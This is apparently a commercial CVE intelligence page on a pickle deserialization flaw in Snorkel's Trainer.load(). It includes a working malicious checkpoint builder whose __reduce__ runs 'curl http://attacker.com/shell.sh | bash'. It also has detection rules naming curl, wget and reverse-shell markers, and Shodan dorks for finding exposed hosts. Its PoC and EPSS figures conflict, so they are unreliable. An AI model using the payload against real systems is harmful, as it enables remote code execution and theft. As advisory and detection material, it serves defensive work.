☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Snorkel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-31222

CVE-2026-31222 Deserialization in snorkel
📅 PUBLISHED: 2026-05-12 00:00 UTC 🔄 UPDATED: 2026-10-18 18:58 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-31222 is a critical insecure deserialization vulnerability (CWE-502) affecting the Snorkel machine learning library through version 0.10.0. The flaw resides in the Trainer.load() method of the Trainer class, which invokes torch.load() without the security-restrictive weights_only=True parameter, permitting arbitrary Python object deserialization via the Pickle module. Successful exploitation results in remote code execution (RCE) on any system that loads a malicious model checkpoint file, with a CVSS score of 8.8 (High) reflecting the high confidentiality, integrity, and availability impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability stems from Snorkel's Trainer.load() method, which is responsible for restoring model training state from checkpoint files. Under the hood, this method delegates to PyTorch's torch.load() function. In PyTorch versions prior to 2.6, the default behavior of torch.load() is to trust the pickle stream entirely, reconstructing arbitrary Python objects from the serialized data. The weights_only=True parameter, which restricts deserialization to a safe allowlist of tensor and primitive types, is not enabled in Snorkel's implementation.

The attack surface is the Pickle format itself. When a pickle stream is deserialized, the __reduce__ method of any class can be invoked, which can specify arbitrary callables and arguments to be executed during the unpickling process. A malicious actor crafts a pickle file where the global os.system or subprocess.Popen is specified as the reduce callable, with a shell command as the argument. Upon torch.load() processing this file, the command executes in the context of the user running the Snorkel application.

The vulnerability is particularly insidious because model files are commonly shared artifacts in the ML ecosystem — via model zoos, Hugging Face Hub, email attachments, or internal storage. The .pth or .pt file extensions offer no inherent protection, and users have no way to visually inspect a binary pickle for malicious content. The lack of a patch confidence above 2/4 (CLAIMED) indicates that while a fix may exist upstream (per OSV), it has not been independently verified, and version 0.10.0 remains the last confirmed release.

Relevant code path:

class Trainer:
    def load(self, model_path):
        checkpoint = torch.load(model_path)  # VULNERABLE: no weights_only=True
        # ... restore model state from checkpoint ...

Attack surface includes:

  • Any application or pipeline that calls Trainer.load() on untrusted model files
  • Shared ML infrastructure where model checkpoints are exchanged between teams
  • CI/CD pipelines that automatically load model artifacts
  • Web services exposing model loading functionality

Exploitation Scenarios

Scenario 1: Malicious Model File Distribution via Model Hub

  1. Reconnaissance: The attacker identifies a target organization that uses Snorkel for document classification or relation extraction. They enumerate public model repositories, Hugging Face uploads, or internal model distribution channels used by the organization.

  2. Weaponization: The attacker constructs a malicious pickle file that masquerades as a legitimate Snorkel model checkpoint. They create a Python file that builds a pickle payload:

    import pickle, os, torch
    class Exploit:
        def __reduce__(self):
            return (os.system, ('curl http://attacker.com/shell.sh | bash',))
    # Wrap the malicious object inside a valid PyTorch checkpoint structure
    payload = {'model_state': Exploit(), 'optimizer_state': {}}
    torch.save(payload, 'snorkel-tuned-model.pth')
    
  3. Delivery: The attacker uploads this file to a public model repository, a shared company S3 bucket, or sends it via a phishing email with a legitimate-sounding filename like relation_extractor_finetuned.pth.

  4. Trigger: A data scientist or MLOps engineer downloads the model and uses Snorkel's API:

    from snorkel.classification import Trainer
    trainer = Trainer()
    trainer.load('snorkel-tuned-model.pth')  # Triggers deserialization
    
  5. Execution: The __reduce__ method executes os.system() with the attacker's command, downloading and executing a reverse shell or persistence mechanism on the victim's workstation or GPU server.

  6. Post-Exploitation: The attacker gains a foothold on a high-value ML development environment, which often contains sensitive training data, proprietary model weights, and connection credentials to cloud databases. They pivot to exfiltrate datasets or inject backdoors into production models.

Scenario 2: Compromised Model Repository / Supply Chain Attack

  1. The attacker compromises a CI/CD pipeline or model registry used by the target. They replace a legitimate checkpoint with a malicious one, maintaining the same filename and directory structure.

  2. Automated training pipelines that regularly load the latest checkpoint automatically trigger the exploit during the next training run, providing the attacker with code execution on GPU clusters.

  3. The attacker uses the compromised GPU nodes to mine cryptocurrency or, more concerningly, to intercept training data being processed, exfiltrating it via outbound network connections.


Impact Assessment

The CVSS v3.1 base score of 8.8 (High) is driven by:

  • Attack Vector: Network (AV:N) — the malicious pickle file can be delivered remotely
  • Attack Complexity: Low (AC:L) — no special conditions required beyond user loading the file
  • Privileges Required: None (PR:N) — no authentication needed to craft the payload
  • User Interaction: Required (UI:R) — the victim must load the malicious file
  • Confidentiality/Integrity/Availability: High (C:H/I:H/A:H) — full RCE

Business Impact:

  • Data Breach: ML environments contain sensitive training data and proprietary model IP. An attacker with code execution can exfiltrate both.
  • Model Integrity Compromise: The attacker can poison downstream models by modifying training data or model weights, causing incorrect predictions that may have regulatory or safety consequences.
  • Operational Disruption: GPU compute resources are expensive; an attacker can co-opt them for cryptomining or denial of service.
  • Supply Chain Risk: If the compromised model is distributed to customers or partners, the malicious pickle can propagate to third-party environments.

Affected Systems: All deployments of Snorkel ≤ 0.10.0, including:

  • Standalone Python applications using Snorkel
  • ML pipelines in Apache Airflow, Kubeflow, or similar orchestration tools
  • Jupyter notebook environments used by data science teams
  • Custom ML microservices exposing model loading endpoints

Blast Radius: High — any system that loads a Snorkel model checkpoint is vulnerable, and the ML ecosystem's culture of sharing model files amplifies the attack surface.


Detection Guidance

Sigma Rule

title: Snorkel Trainer.load Insecure Deserialization Attempt
id: c6f4a1e2-8a3b-4c5d-9e0f-1a2b3c4d5e6f
status: experimental
description: Detects attempts to load pickle files through Snorkel's vulnerable Trainer.load method, identifying suspicious pickle operations
author: Valtersit Threat Intelligence
date: 2026/01/15
logsource:
    category: process_creation
    product: linux
detection:
    selection_python:
        Image|endswith:
            - '/python3'
            - '/python'
            - 'python.exe'
    selection_torch:
        CommandLine|contains:
            - 'torch.load'
            - 'Trainer.load'
    selection_pickle_marker:
        CommandLine|contains:
            - 'reduce'
            - 'pickle'
            - 'os.system'
            - 'subprocess'
    condition: selection_python and selection_torch and selection_pickle_marker
level: high
falsepositives:
    - Legitimate Python debugging scripts inspecting pickle contents
tags:
    - attack.t1203
    - attack.execution
    - cve.2026.31222

YARA Rule

rule CVE_2026_31222_Snorkel_Pickle_Payload {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects pickle payloads targeting Snorkel Trainer.load CVE-2026-31222"
        date = "2026-01-15"
        reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31222"
        severity = "high"
    strings:
        $opcode_proto = { 80 04 95 }  // pickle PROTO opcode
        $opcode_reduce = { 52 00 }     // pickle REDUCE opcode
        $os_system = "os.system" ascii
        $subprocess = "subprocess.Popen" ascii
        $torch_load = "torch.load" ascii
        $trainer_load = "Trainer.load" ascii
        $curl = "curl " ascii
        $wget = "wget " ascii
        $bash = "bash -c" ascii
        $reverse_shell = "rev_shell" ascii nocase
    condition:
        uint16(0) == 0x5080 and
        (
            ($opcode_reduce at 0..filesize and ($os_system or $subprocess)) or
            ($curl or $wget or $bash or $reverse_shell)
        ) and
        filesize > 100
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-31222 - Snorkel Malicious Model Download Attempt";
    flow:established,to_server;
    content:".pth"; http_uri;
    content:".pt"; http_uri;
    content:"snorkel"; http_uri;
    content:"model"; http_uri;
    pcre:"/\.(pth|pt|ckpt|checkpoint)\b/i";
    classtype:attempted-user;
    sid:202631222;
    rev:1;
    metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-31222;
)

Elastic Detection

// Detect Python processes invoking os.system or subprocess right after loading a pickle file
sequence by process.entity_id with maxspan=5s
  [process where event.type == "start" and process.name : ("python*", "python3*")]
  [file where event.type == "creation" and file.extension : ("pth", "pt", "ckpt") and file.name : "*model*"]
  [process where event.type == "start" and (process.args : ("os.system*", "-c", "curl*", "wget*", "bash -c*") or process.name : ("sh", "bash", "curl", "wget"))]

Splunk SPL Query

index=main sourcetype=python_logs OR sourcetype=syslog
| where process_name IN ("python", "python3", "python.exe")
| search "torch.load" OR "Trainer.load" OR "pickle.load"
| rex field=_raw "(?<imported_modules>.*os.*)"
| search imported_modules="*os.system*" OR "*subprocess*" OR "*curl*" OR "*wget*"
| eval threat_score = case(
    match(_raw, "os\.system"), 90,
    match(_raw, "subprocess\.Popen"), 85,
    match(_raw, "curl.*\|.*bash"), 100,
    true, 50
  )
| where threat_score >= 80
| table _time, host, user, process_name, command_line, threat_score
| sort -_time

Wazuh OSSEC Rule

<group name="python,ml,snorkel,">
    <rule id="312220" level="12">
        <if_sid>571</if_sid>
        <match>torch\.load|Trainer\.load|pickle\.load</match>
        <regex>os\.system|subprocess\.Popen|curl\s+\S+\s*\|.*bash|wget\s+\S+\s*\|.*bash</regex>
        <description>CVE-2026-31222: Insecure deserialization attempt in Snorkel Trainer.load detected</description>
        <mitre>
            <id>T1203</id>
        </mitre>
        <group>attack_execution,</group>
        <info type="cve">CVE-2026-31222</info>
    </rule>

    <rule id="312221" level="8" frequency="5" timeframe="60">
        <if_matched_sid>312220</if_matched_sid>
        <same_source_ip/>
        <description>CVE-2026-31222: Multiple deserialization attempts from same source detected</description>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))

1. Immediate Mitigations (0-24 hours):

  • Do not load model files from untrusted sources. Implement a policy requiring all model checkpoints to be vetted before loading into any Snorkel environment.
  • Restrict file permissions: Use file integrity monitoring to detect unauthorized modifications to model files in shared directories.
  • Apply network egress filtering: Block outbound connections to known malicious IPs and domains to limit the impact of successful exploitation.
  • Monitor pickle loads: Deploy the detection rules above to alert on suspicious torch.load() activity.

2. Patch/Upgrade Steps:

  • Monitor OSV and Snorkel's GitHub repository for a patched release. When available, upgrade to a version that either:
    • Enables weights_only=True in Trainer.load(), OR
    • Migrates to safetensors format or another secure serialization method.
  • If no patched version exists, apply the following code patch directly to your local installation:
    # In snorkel/classification/trainer.py, modify:
    checkpoint = torch.load(model_path, weights_only=True)
    
  • Alternatively, vendor the library into your internal repository and maintain a custom fork with the fix.

3. Long-Term Hardening:

  • Adopt secure serialization standards: Migrate all model persistence to safetensors format, which is pickle-free and safe for loading.
  • Implement a model provenance system: Require cryptographic signing of all model files and verify signatures before loading.
  • Sandbox model loading: Run model loading in isolated environments (containers with no network access, or in a gVisor/Firecracker microVM) to contain any exploitation.
  • Establish a vulnerability disclosure program: Engage with the Snorkel maintainers to ensure security patches are released in a timely manner.
  • Conduct regular supply chain audits: Scan all third-party ML libraries and model artifacts for known vulnerabilities and malicious content.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-31222
  2. OSV Database: https://osv.dev/vulnerability/CVE-2026-31222
  3. Snorkel GitHub Repository: https://github.com/snorkel-team/snorkel
  4. PyTorch torch.load() Documentation (security notes): https://pytorch.org/docs/main/generated/torch.load.html
  5. CWE-502 Deserialization of Untrusted Data: https://cwe.mitre.org/data/definitions/502.html

As of the publication date of this report, CVE-2026-31222 is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog, and no public exploit code or Nuclei template has been observed. The EPSS score of 0.00392 (32.0th percentile) indicates a relatively low immediate exploitation probability, but this assessment may change if active exploitation is detected or if the research community publishes a PoC. No specific threat actor campaigns have been publicly attributed to this vulnerability at this time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"snorkel"
http.html:"snorkel.ai"
product:"snorkel" python

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-31222/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.